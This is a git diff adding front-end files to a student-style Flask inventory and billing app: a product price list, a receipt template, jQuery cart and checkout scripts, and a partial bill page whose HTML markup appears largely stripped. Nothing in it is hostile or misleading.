c&&c.abort(t),l(0,t),this}};if(x.promise(T),v.url=((e||v.url||bt.href)+"").replace(Ht,bt.protocol+"//"),v.type=t.method||t.type||v.method||v.type,v.dataTypes=(v.dataType||"*").toLowerCase().match(P)||[""],null==v.crossDomain){r=E.createElement("a");try{r.href=v.url,r.href=r.href,v.crossDomain=Mt.protocol+"//"+Mt.host!=r.protocol+"//"+r.host}catch(e){v.crossDomain=!0}}if(v.data&&v.processData&&"string"!=typeof v.data&&(v.data=S.param(v.data,v.traditional)),Wt(Ot,v,t,T),h)return T;for(i in(g=S.event&&v.global)&&0==S.active++&&S.event.trigger("ajaxStart"),v.type=v.type.toUpperCase(),v.hasContent=!Lt.test(v.type),f=v.url.replace(jt,""),v.hasContent?v.data&&v.processData&&0===(v.contentType||"").indexOf("application/x-www-form-urlencoded")&&(v.data=v.data.replace(Nt,"+")):(o=v.url.slice(f.length),v.data&&(v.processData||"string"==typeof v.data)&&(f+=(Tt.test(f)?"&":"?")+v.data,delete v.data),!1===v.cache&&(f=f.replace(Dt,"$1"),o=(Tt.test(f)?"&":"?")+"_="+wt.guid+++o),v.url=f+o),v.ifModified&&(S.lastModified[f]&&T.setRequestHeader("If-Modified-Since",S.lastModified[f]),S.etag[f]&&T.setRequestHeader("If-None-Match",S.etag[f])),(v.data&&v.hasContent&&!1!==v.contentType||t.contentType)&&T.setRequestHeader("Content-Type",v.contentType),T.setRequestHeader("Accept",v.dataTypes[0]&&v.accepts[v.dataTypes[0]]?v.accepts[v.dataTypes[0]]+("*"!==v.dataTypes[0]?", "+Rt+"; q=0.01":""):v.accepts["*"]),v.headers)T.setRequestHeader(i,v.headers[i]);if(v.beforeSend&&(!1===v.beforeSend.call(y,T,v)||h))return T.abort();if(u="abort",b.add(v.complete),T.done(v.success),T.fail(v.error),c=Wt(Pt,v,t,T)){if(T.readyState=1,g&&m.trigger("ajaxSend",[T,v]),h)return T;v.async&&0<v.timeout&&(d=C.setTimeout(function(){T.abort("timeout")},v.timeout));try{h=!1,c.send(a,l)}catch(e){if(h)throw e;l(-1,e)}}else l(-1,"No Transport");function l(e,t,n,r){var i,o,a,s,u,l=t;h||(h=!0,d&&C.clearTimeout(d),c=void 0,p=r||"",T.readyState=0<e?4:0,i=200<=e&&e<300||304===e,n&&(s=function(e,t,n){var r,i,o,a,s=e.contents,u=e.dataTypes;while("*"===u[0])u.shift(),void 0===r&&(r=e.mimeType||t.getResponseHeader("Content-Type"));if(r)for(i in s)if(s[i]&&s[i].test(r)){u.unshift(i);break}if(u[0]in n)o=u[0];else{for(i in n){if(!u[0]||e.converters[i+" "+u[0]]){o=i;break}a||(a=i)}o=o||a}if(o)return o!==u[0]&&u.unshift(o),n[o]}(v,T,n)),!i&&-1<S.inArray("script",v.dataTypes)&&S.inArray("json",v.dataTypes)<0&&(v.converters["text script"]=function(){}),s=function(e,t,n,r){var i,o,a,s,u,l={},c=e.dataTypes.slice();if(c[1])for(a in e.converters)l[a.toLowerCase()]=e.converters[a];o=c.shift();while(o)if(e.responseFields[o]&&(n[e.responseFields[o]]=t),!u&&r&&e.dataFilter&&(t=e.dataFilter(t,e.dataType)),u=o,o=c.shift())if("*"===o)o=u;else if("*"!==u&&u!==o){if(!(a=l[u+" "+o]||l["* "+o]))for(i in l)if((s=i.split(" "))[1]===o&&(a=l[u+" "+s[0]]||l["* "+s[0]])){!0===a?a=l[i]:!0!==l[i]&&(o=s[0],c.unshift(s[1]));break}if(!0!==a)if(a&&e["throws"])t=a(t);else try{t=a(t)}catch(e){return{state:"parsererror",error:a?e:"No conversion from "+u+" to "+o}}}return{state:"success",data:t}}(v,s,T,i),i?(v.ifModified&&((u=T.getResponseHeader("Last-Modified"))&&(S.lastModified[f]=u),(u=T.getResponseHeader("etag"))&&(S.etag[f]=u)),204===e||"HEAD"===v.type?l="nocontent":304===e?l="notmodified":(l=s.state,o=s.data,i=!(a=s.error))):(a=l,!e&&l||(l="error",e<0&&(e=0))),T.status=e,T.statusText=(t||l)+"",i?x.resolveWith(y,[o,l,T]):x.rejectWith(y,[T,l,a]),T.statusCode(w),w=void 0,g&&m.trigger(i?"ajaxSuccess":"ajaxError",[T,v,i?o:a]),b.fireWith(y,[T,l]),g&&(m.trigger("ajaxComplete",[T,v]),--S.active||S.event.trigger("ajaxStop")))}return T},getJSON:function(e,t,n){return S.get(e,t,n,"json")},getScript:function(e,t){return S.get(e,void 0,t,"script")}}),S.each(["get","post"],function(e,i){S[i]=function(e,t,n,r){return m(t)&&(r=r||n,n=t,t=void 0),S.ajax(S.extend({url:e,type:i,dataType:r,data:t,success:n},S.isPlainObject(e)&&e))}}),S.ajaxPrefilter(function(e){var t;for(t in e.headers)"content-type"===t.toLowerCase()&&(e.contentType=e.headers[t]||"")}),S._evalUrl=function(e,t,n){return S.ajax({url:e,type:"GET",dataType:"script",cache:!0,async:!1,global:!1,converters:{"text script":function(){}},dataFilter:function(e){S.globalEval(e,t,n)}})},S.fn.extend({wrapAll:function(e){var t;return this[0]&&(m(e)&&(e=e.call(this[0])),t=S(e,this[0].ownerDocument).eq(0).clone(!0),this[0].parentNode&&t.insertBefore(this[0]),t.map(function(){var e=this;while(e.firstElementChild)e=e.firstElementChild;return e}).append(this)),this},wrapInner:function(n){return m(n)?this.each(function(e){S(this).wrapInner(n.call(this,e))}):this.each(function(){var e=S(this),t=e.contents();t.length?t.wrapAll(n):e.append(n)})},wrap:function(t){var n=m(t);return this.each(function(e){S(this).wrapAll(n?t.call(this,e):t)})},unwrap:function(e){return this.parent(e).not("body").each(function(){S(this).replaceWith(this.childNodes)}),this}}),S.expr.pseudos.hidden=function(e){return!S.expr.pseudos.visible(e)},S.expr.pseudos.visible=function(e){return!!(e.offsetWidth||e.offsetHeight||e.getClientRects().length)},S.ajaxSettings.xhr=function(){try{return new C.XMLHttpRequest}catch(e){}};var Bt={0:200,1223:204},$t=S.ajaxSettings.xhr();y.cors=!!$t&&"withCredentials"in $t,y.ajax=$t=!!$t,S.ajaxTransport(function(i){var o,a;if(y.cors||$t&&!i.crossDomain)return{send:function(e,t){var n,r=i.xhr();if(r.open(i.type,i.url,i.async,i.username,i.password),i.xhrFields)for(n in i.xhrFields)r[n]=i.xhrFields[n];for(n in i.mimeType&&r.overrideMimeType&&r.overrideMimeType(i.mimeType),i.crossDomain||e["X-Requested-With"]||(e["X-Requested-With"]="XMLHttpRequest"),e)r.setRequestHeader(n,e[n]);o=function(e){return function(){o&&(o=a=r.onload=r.onerror=r.onabort=r.ontimeout=r.onreadystatechange=null,"abort"===e?r.abort():"error"===e?"number"!=typeof r.status?t(0,"error"):t(r.status,r.statusText):t(Bt[r.status]||r.status,r.statusText,"text"!==(r.responseType||"text")||"string"!=typeof r.responseText?{binary:r.response}:{text:r.responseText},r.getAllResponseHeaders()))}},r.onload=o(),a=r.onerror=r.ontimeout=o("error"),void 0!==r.onabort?r.onabort=a:r.onreadystatechange=function(){4===r.readyState&&C.setTimeout(function(){o&&a()})},o=o("abort");try{r.send(i.hasContent&&i.data||null)}catch(e){if(o)throw e}},abort:function(){o&&o()}}}),S.ajaxPrefilter(function(e){e.crossDomain&&(e.contents.script=!1)}),S.ajaxSetup({accepts:{script:"text/javascript, application/javascript, application/ecmascript, application/x-ecmascript"},contents:{script:/\b(?:java|ecma)script\b/},converters:{"text script":function(e){return S.globalEval(e),e}}}),S.ajaxPrefilter("script",function(e){void 0===e.cache&&(e.cache=!1),e.crossDomain&&(e.type="GET")}),S.ajaxTransport("script",function(n){var r,i;if(n.crossDomain||n.scriptAttrs)return{send:function(e,t){r=S("<script>").attr(n.scriptAttrs||{}).prop({charset:n.scriptCharset,src:n.url}).on("load error",i=function(e){r.remove(),i=null,e&&t("error"===e.type?404:200,e.type)}),E.head.appendChild(r[0])},abort:function(){i&&i()}}});var _t,zt=[],Ut=/(=)\?(?=&|$)|\?\?/;S.ajaxSetup({jsonp:"callback",jsonpCallback:function(){var e=zt.pop()||S.expando+"_"+wt.guid++;return this[e]=!0,e}}),S.ajaxPrefilter("json jsonp",function(e,t,n){var r,i,o,a=!1!==e.jsonp&&(Ut.test(e.url)?"url":"string"==typeof e.data&&0===(e.contentType||"").indexOf("application/x-www-form-urlencoded")&&Ut.test(e.data)&&"data");if(a||"jsonp"===e.dataTypes[0])return r=e.jsonpCallback=m(e.jsonpCallback)?e.jsonpCallback():e.jsonpCallback,a?e[a]=e[a].replace(Ut,"$1"+r):!1!==e.jsonp&&(e.url+=(Tt.test(e.url)?"&":"?")+e.jsonp+"="+r),e.converters["script json"]=function(){return o||S.error(r+" was not called"),o[0]},e.dataTypes[0]="json",i=C[r],C[r]=function(){o=arguments},n.always(function(){void 0===i?S(C).removeProp(r):C[r]=i,e[r]&&(e.jsonpCallback=t.jsonpCallback,zt.push(r)),o&&m(i)&&i(o[0]),o=i=void 0}),"script"}),y.createHTMLDocument=((_t=E.implementation.createHTMLDocument("").body).innerHTML="<form></form><form></form>",2===_t.childNodes.length),S.parseHTML=function(e,t,n){return"string"!=typeof e?[]:("boolean"==typeof t&&(n=t,t=!1),t||(y.createHTMLDocument?((r=(t=E.implementation.createHTMLDocument("")).createElement("base")).href=E.location.href,t.head.appendChild(r)):t=E),o=!n&&[],(i=N.exec(e))?[t.createElement(i[1])]:(i=xe([e],t,o),o&&o.length&&S(o).remove(),S.merge([],i.childNodes)));var r,i,o},S.fn.load=function(e,t,n){var r,i,o,a=this,s=e.indexOf(" ");return-1<s&&(r=ht(e.slice(s)),e=e.slice(0,s)),m(t)?(n=t,t=void 0):t&&"object"==typeof t&&(i="POST"),0<a.length&&S.ajax({url:e,type:i||"GET",dataType:"html",data:t}).done(function(e){o=arguments,a.html(r?S("<div>").append(S.parseHTML(e)).find(r):e)}).always(n&&function(e,t){a.each(function(){n.apply(this,o||[e.responseText,t,e])})}),this},S.expr.pseudos.animated=function(t){return S.grep(S.timers,function(e){return t===e.elem}).length},S.offset={setOffset:function(e,t,n){var r,i,o,a,s,u,l=S.css(e,"position"),c=S(e),f={};"static"===l&&(e.style.position="relative"),s=c.offset(),o=S.css(e,"top"),u=S.css(e,"left"),("absolute"===l||"fixed"===l)&&-1<(o+u).indexOf("auto")?(a=(r=c.position()).top,i=r.left):(a=parseFloat(o)||0,i=parseFloat(u)||0),m(t)&&(t=t.call(e,n,S.extend({},s))),null!=t.top&&(f.top=t.top-s.top+a),null!=t.left&&(f.left=t.left-s.left+i),"using"in t?t.using.call(e,f):c.css(f)}},S.fn.extend({offset:function(t){if(arguments.length)return void 0===t?this:this.each(function(e){S.offset.setOffset(this,t,e)});var e,n,r=this[0];return r?r.getClientRects().length?(e=r.getBoundingClientRect(),n=r.ownerDocument.defaultView,{top:e.top+n.pageYOffset,left:e.left+n.pageXOffset}):{top:0,left:0}:void 0},position:function(){if(this[0]){var e,t,n,r=this[0],i={top:0,left:0};if("fixed"===S.css(r,"position"))t=r.getBoundingClientRect();else{t=this.offset(),n=r.ownerDocument,e=r.offsetParent||n.documentElement;while(e&&(e===n.body||e===n.documentElement)&&"static"===S.css(e,"position"))e=e.parentNode;e&&e!==r&&1===e.nodeType&&((i=S(e).offset()).top+=S.css(e,"borderTopWidth",!0),i.left+=S.css(e,"borderLeftWidth",!0))}return{top:t.top-i.top-S.css(r,"marginTop",!0),left:t.left-i.left-S.css(r,"marginLeft",!0)}}},offsetParent:function(){return this.map(function(){var e=this.offsetParent;while(e&&"static"===S.css(e,"position"))e=e.offsetParent;return e||re})}}),S.each({scrollLeft:"pageXOffset",scrollTop:"pageYOffset"},function(t,i){var o="pageYOffset"===i;S.fn[t]=function(e){return $(this,function(e,t,n){var r;if(x(e)?r=e:9===e.nodeType&&(r=e.defaultView),void 0===n)return r?r[i]:e[t];r?r.scrollTo(o?r.pageXOffset:n,o?n:r.pageYOffset):e[t]=n},t,e,arguments.length)}}),S.each(["top","left"],function(e,n){S.cssHooks[n]=Fe(y.pixelPosition,function(e,t){if(t)return t=We(e,n),Pe.test(t)?S(e).position()[n]+"px":t})}),S.each({Height:"height",Width:"width"},function(a,s){S.each({padding:"inner"+a,content:s,"":"outer"+a},function(r,o){S.fn[o]=function(e,t){var n=arguments.length&&(r||"boolean"!=typeof e),i=r||(!0===e||!0===t?"margin":"border");return $(this,function(e,t,n){var r;return x(e)?0===o.indexOf("outer")?e["inner"+a]:e.document.documentElement["client"+a]:9===e.nodeType?(r=e.documentElement,Math.max(e.body["scroll"+a],r["scroll"+a],e.body["offset"+a],r["offset"+a],r["client"+a])):void 0===n?S.css(e,t,i):S.style(e,t,n,i)},s,n?e:void 0,n)}})}),S.each(["ajaxStart","ajaxStop","ajaxComplete","ajaxError","ajaxSuccess","ajaxSend"],function(e,t){S.fn[t]=function(e){return this.on(t,e)}}),S.fn.extend({bind:function(e,t,n){return this.on(e,null,t,n)},unbind:function(e,t){return this.off(e,null,t)},delegate:function(e,t,n,r){return this.on(t,e,n,r)},undelegate:function(e,t,n){return 1===arguments.length?this.off(e,"**"):this.off(t,e||"**",n)},hover:function(e,t){return this.mouseenter(e).mouseleave(t||e)}}),S.each("blur focus focusin focusout resize scroll click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup contextmenu".split(" "),function(e,n){S.fn[n]=function(e,t){return 0<arguments.length?this.on(n,null,e,t):this.trigger(n)}});var Xt=/^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g;S.proxy=function(e,t){var n,r,i;if("string"==typeof t&&(n=e[t],t=e,e=n),m(e))return r=s.call(arguments,2),(i=function(){return e.apply(t||this,r.concat(s.call(arguments)))}).guid=e.guid=e.guid||S.guid++,i},S.holdReady=function(e){e?S.readyWait++:S.ready(!0)},S.isArray=Array.isArray,S.parseJSON=JSON.parse,S.nodeName=A,S.isFunction=m,S.isWindow=x,S.camelCase=X,S.type=w,S.now=Date.now,S.isNumeric=function(e){var t=S.type(e);return("number"===t||"string"===t)&&!isNaN(e-parseFloat(e))},S.trim=function(e){return null==e?"":(e+"").replace(Xt,"")},"function"==typeof define&&define.amd&&define("jquery",[],function(){return S});var Vt=C.jQuery,Gt=C.$;return S.noConflict=function(e){return C.$===S&&(C.$=Gt),e&&C.jQuery===S&&(C.jQuery=Vt),S},"undefined"==typeof e&&(C.jQuery=C.$=S),S}); diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/js/product_json.json b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/js/product_json.json new file mode 100644 index 00000000..e6d0f273 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/js/product_json.json @@ -0,0 +1,44 @@ +[{ + "name": "Product 101", + "price": 35 +}, { + "name": "Product 102", + "price": 15 +}, { + "name": "Product 103", + "price": 16 +}, { + "name": "Product 104", + "price": 48 +}, { + "name": "Product 105", + "price": 100 +}, { + "name": "Product 106", + "price": 150 +}, { + "name": "Product 107", + "price": 135 +}, { + "name": "Product 108", + "price": 98 +}, { + "name": "Product 109", + "price": 10 +}, { + "name": "Product 111", + "price": 85 +}, { + "name": "Product 112", + "price": 80 +}, { + "name": "Product 113", + "price": 90 +}, { + "name": "Product 114", + "price": 160 +}, { + "name": "Samsung Galaxy S6 lite", + "price": 150 +} +] \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/js/receipt_format.html b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/js/receipt_format.html new file mode 100644 index 00000000..a1336373 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/js/receipt_format.html @@ -0,0 +1,32 @@ +<meta charset="UTF-8"> +<meta http-equiv="X-UA-Compatible" content="IE=edge"> +<meta name="viewport" content="width=device-width, initial-scale=1.0"> +<title>TECH PANDITS + + + + + + + +
+
+ TECH PANDITS SUPER MARKET +
+ Non-official Receipt +
+
+
+
QTY
+
Product
+
Amount
+
+
+
+
Total
+
0.00
+
Paid Amound
+
0.00
+
Amount to be paid
+
0.00
+
\ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/js/script.js b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/js/script.js new file mode 100644 index 00000000..6768050b --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/js/script.js @@ -0,0 +1,228 @@ +// Custom Loader Element Node +var loader = document.createElement('div') +loader.setAttribute('id', 'pre-loader'); +loader.innerHTML = "
"; + +// Loader Start Function +window.start_loader = function() { + if (!document.getElementById('pre-loader') || (!!document.getElementById('pre-loader') && document.getElementById('pre-loader').length <= 0)) + document.querySelector('body').appendChild(loader) +} + +// Loader Stop Function +window.end_loader = function() { + if (!!document.getElementById('pre-loader')) { + setTimeout(() => { + document.getElementById('pre-loader').remove() + }, 500) + } +} + +var prod_ajax, products, listed, total = 0, + change = 0; + +function product_actions(_this, data) { + var form = $("#add-form") + _this.click(function() { + form.find('input[name="name"]').val(data.name) + form.find('input[name="price"]').val(data.price) + $('#pname').text(data.name) + $('#pprice').text(parseFloat(data.price).toLocaleString('en-US')) + $('#pid').text(data.item_id) + $('#pdesc').text(data.item_description) + $('#find-product').val('').trigger('input') + }) + +} + +function update_total() { + $('#total-amount').text(parseFloat(total).toLocaleString('en-US', { style: 'decimal', maximumFractionDigits: 2, minimumFractionDigits: 2 })) + $('#checkout-amount').val(parseFloat(total).toLocaleString('en-US', { style: 'decimal', maximumFractionDigits: 2, minimumFractionDigits: 2 })) +} + +function load_products() { + if (prod_ajax) { + prod_ajax.abort() + } + find_prod_ajax = $.ajax({ + url: 'static/js/product_json.json', + dataType: 'json', + error: err => { + alert('An error occurred.') + console.error(err) + }, + success: function(resp) { + console.log(`resp:${resp[0].name}`) + products = resp + $('#product-result').html('') + Object.keys(resp).map(k => { + var item = $($('noscript#prod-item-clone').html()).clone() + item.find('.prod_name').text(resp[k].name) + item.find('.prod_price').text(parseFloat(resp[k].price).toLocaleString('en-US')) + item.find('.prod_price').attr('data-id', resp[k].price) + $('#product-result').append(item) + product_actions(item, resp[k]) + }) + } + }) +} + +function check_items() { + if ($("#item-list tbody").is(':empty') == true) { + $('#noItem').removeClass('d-none') + } else { + if ($('#noItem').hasClass('d-none') == false) + $('#noItem').addClass('d-none'); + } +} + +function item_actions(_this, key) { + _this.find('.rem-item').click(function() { + if (!!listed[key]) { + _this.remove() + delete listed[key]; + listed = Object.keys(listed).map(k => { return listed[k] != null ? listed[k] : false }) + localStorage.setItem('listed', JSON.stringify(listed)) + } + check_items() + load_list() + }) + _this.find('.qty').on('change input', function() { + if (!!listed[key]) { + listed[key].qty = $(this).val() + localStorage.setItem('listed', JSON.stringify(listed)) + } + load_list() + }) +} + +function load_list() { + listed = !!localStorage.getItem('listed') ? $.parseJSON(localStorage.getItem('listed')) : []; + total = 0; + $('#item-list tbody').html('') + if (Object.keys(listed).length > 0) { + Object.keys(listed).map((k) => { + var item = $($('noscript#item-tr-clone').html()).clone() + item.find('.qty').val(parseFloat(listed[k].qty)) + item.find('.item-name').text(listed[k].product) + item.find('.item-price').text(parseFloat(listed[k].price).toLocaleString('en-US')) + item.find('.item-total').text(parseFloat(parseFloat(listed[k].price) * parseFloat(listed[k].qty)).toLocaleString('en-US')) + total += parseFloat(listed[k].price) * parseFloat(listed[k].qty); + $('#item-list tbody').append(item) + item_actions(item, k) + update_total() + }) + } + check_items() +} +$(function() { + check_items() + load_list() + var load_prod = new Promise((resolve) => { + load_products() + resolve() + }) + console.log(load_prod) + load_prod.then(() => { + end_loader() + }) + $('#find-product').on('input', function() { + var search = $(this).val().toLowerCase() + if (search == '') { + if (!$('#product-result').hasClass('d-none')) + $('#product-result').addClass('d-none'); + return false; + } + $('#product-result').removeClass('d-none'); + $('#product-result .prod-item').each(function() { + var name = $(this).find('.prod_name').text().toLowerCase() + if (name.includes(search) === true) { + $(this).toggle(true) + } else { + $(this).toggle(false) + } + + }) + + }) + $('#add-form').submit(function(e) { + e.preventDefault() + start_loader() + var _this = $(this) + var product = _this.find('[name="name"]').val() + var price = _this.find('[name="price"]').val() + var qty = _this.find('[name="qty"]').val() + listed[listed.length] = { product: product, price: price, qty: qty, item_id: document.getElementById("pid").innerHTML} + localStorage.setItem('listed', JSON.stringify(listed)) + _this[0].reset() + _this.find('[name="name"]').val('') + _this.find('[name="price"]').val('') + $('#pname').text('') + $('#pprice').text('') + $('#pdesc').text('') + // $('#pprice').text('') + load_list() + end_loader() + }) + + $('#checkout').click(function() { + if(listed == "" || listed == "[]" || listed == []){ + alert("Add atleast 1 item in the list") + + } else{ + $('#checkoutModal').modal('show') + $('#checkoutModal').on('shown.bs.modal', function() { + $('#checkout-tendered').focus() + $('#checkout-tendered').on('change input', function() { + var pay = $(this).val() + change = -parseFloat(pay) + parseFloat(total) + $('#checkout-change').val(parseFloat(change).toLocaleString('en-US')) + }) + }) + } + }) + $('#checkout-form').submit(function(e) { + e.preventDefault() + start_loader() + if (change >= 0) { + $.ajax({ + url: 'static/js/receipt_format.html', + error: err => { + console.error(err) + alert('An error occurred.') + end_loader() + }, + success: function(resp) { + var el = $('
') + el.html(resp) + el.find('#r-total').text(parseFloat(total).toLocaleString('en-US', { style: 'decimal', maximumFractionDigits: 2, minimumFractionDigits: 2 })) + el.find('#r-tendered').text(parseFloat(parseFloat(total) + parseFloat(change)).toLocaleString('en-US', { style: 'decimal', maximumFractionDigits: 2, minimumFractionDigits: 2 })) + el.find('#r-change').text(parseFloat(change).toLocaleString('en-US', { style: 'decimal', maximumFractionDigits: 2, minimumFractionDigits: 2 })) + Object.keys(listed).map((k) => { + el.find('#product-list').append('
' + (parseFloat(listed[k].qty).toLocaleString('en-US')) + '
') + el.find('#product-list').append('
' + (listed[k].product) + '
x ' + (parseFloat(listed[k].price).toLocaleString('en-US', { style: 'decimal', maximumFractionDigits: 2, minimumFractionDigits: 2 })) + '
') + el.find('#product-list').append('
' + (parseFloat(listed[k].qty * listed[k].price).toLocaleString('en-US', { style: 'decimal', maximumFractionDigits: 2, minimumFractionDigits: 2 })) + '
') + }) + + + var nw = window.open('', '_blank', 'width=1000,height=900') + console.log(el.html()) + nw.document.write(el.html()) + nw.document.close() + setTimeout(() => { + nw.print() + setTimeout(() => { + nw.close() + end_loader() + $('.modal').modal('hide') + localStorage.setItem('listed', '[]') + location.reload() + }, 300) + }, 500) + } + }) + } else { + alert("Tendered Amount less than payable amount!") + } + }) +}) \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/js/script_bill.js b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/js/script_bill.js new file mode 100644 index 00000000..d8cde3f5 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/js/script_bill.js @@ -0,0 +1,224 @@ +// Custom Loader Element Node +var loader = document.createElement('div') +loader.setAttribute('id', 'pre-loader'); +loader.innerHTML = "
"; + +// Loader Start Function +window.start_loader = function() { + if (!document.getElementById('pre-loader') || (!!document.getElementById('pre-loader') && document.getElementById('pre-loader').length <= 0)) + document.querySelector('body').appendChild(loader) +} + +// Loader Stop Function +window.end_loader = function() { + if (!!document.getElementById('pre-loader')) { + setTimeout(() => { + document.getElementById('pre-loader').remove() + }, 500) + } +} + +var prod_ajax, products, listed_prod, total = 0, + change = 0; + +function product_actions(_this, data) { + var form = $("#add-form") + _this.click(function() { + form.find('input[name="name"]').val(data.item_name) + form.find('input[name="price"]').val(data.item_price) + $('#pname').text(data.item_name) + $('#pprice').text(parseFloat(data.item_price).toLocaleString('en-US')) + $('#pid').text(data.item_id) + $('#pdesc').text(data.item_description) + $('#find-product').val('').trigger('input') + }) + +} + +function update_total() { + $('#total-amount').text(parseFloat(total).toLocaleString('en-US', { style: 'decimal', maximumFractionDigits: 2, minimumFractionDigits: 2 })) + $('#checkout-amount').val(parseFloat(total).toLocaleString('en-US', { style: 'decimal', maximumFractionDigits: 2, minimumFractionDigits: 2 })) +} + +function load_products() { + if (prod_ajax) { + prod_ajax.abort() + } + find_prod_ajax = $.ajax({ + url: 'static/js/product_json.json', + dataType: 'json', + error: err => { + alert('An error occurred.') + console.error(err) + }, + success: function(resp) { + console.log(`resp:${resp[0].item_name}`) + products = resp + $('#product-result').html('') + Object.keys(resp).map(k => { + var item = $($('noscript#prod-item-clone').html()).clone() + item.find('.prod_name').text(resp[k].item_name) + item.find('.prod_price').text(parseFloat(resp[k].item_price).toLocaleString('en-US')) + item.find('.prod_price').attr('data-id', resp[k].item_price) + $('#product-result').append(item) + product_actions(item, resp[k]) + }) + } + }) +} + +function check_items() { + if ($("#item-list tbody").is(':empty') == true) { + $('#noItem').removeClass('d-none') + } else { + if ($('#noItem').hasClass('d-none') == false) + $('#noItem').addClass('d-none'); + } +} + +function item_actions(_this, key) { + _this.find('.rem-item').click(function() { + if (!!listed_prod[key]) { + _this.remove() + delete listed_prod[key]; + listed_prod = Object.keys(listed_prod).map(k => { return listed_prod[k] != null ? listed_prod[k] : false }) + localStorage.setItem('listed_prod', JSON.stringify(listed_prod)) + } + check_items() + load_list() + }) + _this.find('.qty').on('change input', function() { + if (!!listed_prod[key]) { + listed_prod[key].qty = $(this).val() + localStorage.setItem('listed_prod', JSON.stringify(listed_prod)) + } + load_list() + }) +} + +function load_list() { + listed_prod = !!localStorage.getItem('listed_prod') ? $.parseJSON(localStorage.getItem('listed_prod')) : []; + total = 0; + $('#item-list tbody').html('') + if (Object.keys(listed_prod).length > 0) { + Object.keys(listed_prod).map((k) => { + var item = $($('noscript#item-tr-clone').html()).clone() + item.find('.qty').val(parseFloat(listed_prod[k].qty)) + item.find('.item-name').text(listed_prod[k].product) + item.find('.item-price').text(parseFloat(listed_prod[k].price).toLocaleString('en-US')) + item.find('.item-total').text(parseFloat(parseFloat(listed_prod[k].price) * parseFloat(listed_prod[k].qty)).toLocaleString('en-US')) + total += parseFloat(listed_prod[k].price) * parseFloat(listed_prod[k].qty); + $('#item-list tbody').append(item) + item_actions(item, k) + update_total() + }) + } + check_items() +} +$(function() { + check_items() + load_list() + var load_prod = new Promise((resolve) => { + // load_products() + resolve() + }) + console.log(load_prod) + load_prod.then(() => { + end_loader() + }) + $('#find-product').on('input', function() { + var search = $(this).val().toLowerCase() + if (search == '') { + if (!$('#product-result').hasClass('d-none')) + $('#product-result').addClass('d-none'); + return false; + } + $('#product-result').removeClass('d-none'); + $('#product-result .prod-item').each(function() { + var name = $(this).find('.prod_name').text().toLowerCase() + if (name.includes(search) === true) { + $(this).toggle(true) + } else { + $(this).toggle(false) + } + + }) + + }) + $('#add-form').submit(function(e) { + e.preventDefault() + start_loader() + var _this = $(this) + var product = _this.find('[name="item_name"]').val() + var price = _this.find('[name="item_price"]').val() + var qty = _this.find('[name="qty"]').val() + listed_prod[listed_prod.length] = { product: product, price: price, qty: qty, item_id: document.getElementById("pid").innerHTML} + localStorage.setItem('listed_prod', JSON.stringify(listed_prod)) + _this[0].reset() + _this.find('[name="item_name"]').val('') + _this.find('[name="item_price"]').val('') + $('#pname').text('') + $('#pprice').text('') + $('#pdesc').text('') + // $('#pprice').text('') + load_list() + end_loader() + }) + + $('#checkout').click(function() { + $('#checkoutModal').modal('show') + $('#checkoutModal').on('shown.bs.modal', function() { + $('#checkout-tendered').focus() + $('#checkout-tendered').on('change input', function() { + var pay = $(this).val() + change = -parseFloat(pay) + parseFloat(total) + $('#checkout-change').val(parseFloat(change).toLocaleString('en-US')) + }) + }) + }) + $('#checkout-form').submit(function(e) { + e.preventDefault() + start_loader() + change = parseFloat(document.getElementById("checkout-change").value) + if (change >= 0) { + $.ajax({ + url: '../static/js/receipt_format.html', + error: err => { + console.error(err) + alert('An error occurred.') + end_loader() + }, + success: function(resp) { + var el = $('
') + el.html(resp) + el.find('#r-total').text(parseFloat(total).toLocaleString('en-US', { style: 'decimal', maximumFractionDigits: 2, minimumFractionDigits: 2 })) + el.find('#r-tendered').text(parseFloat(parseFloat(total) - parseFloat(change)).toLocaleString('en-US', { style: 'decimal', maximumFractionDigits: 2, minimumFractionDigits: 2 })) + el.find('#r-change').text(parseFloat(change).toLocaleString('en-US', { style: 'decimal', maximumFractionDigits: 2, minimumFractionDigits: 2 })) + Object.keys(listed_prod).map((k) => { + el.find('#product-list').append('
' + (parseFloat(listed_prod[k].qty).toLocaleString('en-US')) + '
') + el.find('#product-list').append('
' + (listed_prod[k].product) + '
x ' + (parseFloat(listed_prod[k].price).toLocaleString('en-US', { style: 'decimal', maximumFractionDigits: 2, minimumFractionDigits: 2 })) + '
') + el.find('#product-list').append('
' + (parseFloat(listed_prod[k].qty * listed_prod[k].price).toLocaleString('en-US', { style: 'decimal', maximumFractionDigits: 2, minimumFractionDigits: 2 })) + '
') + }) + + + var nw = window.open('', '_blank', 'width=1000,height=900') + console.log(el.html()) + nw.document.write(el.html()) + nw.document.close() + setTimeout(() => { + nw.print() + setTimeout(() => { + nw.close() + end_loader() + $('.modal').modal('hide') + + location.reload() + }, 300) + }, 500) + } + }) + } else { + alert("Tendered Amount less than payable amount!") + } + }) +}) \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/templates/bill.html b/FLASK PROJECTS/Inventory Billing Management System using Flask/templates/bill.html new file mode 100644 index 00000000..9211e81a --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/templates/bill.html @@ -0,0 +1,359 @@ + + + + + + + + + BillSwift | Bill + + + + + + + + + + + + + + + +
+ +
+
+
+ +
+
+

BILL ID {{bill_key}}

+
+
+
+
+
+
+
+
+ +
+

Payment Status

+ +
+
+
+
+
+ +
+
+ {% if bill_details_json['payment_status'] == "paid" %} +
+ + +
+
+ + +
+
+ + +
+ + {% elif bill_details_json['payment_status'] == "unpaid" %} +
+ + +
+
+ + +
+
+ + +
+ + {% else %} +
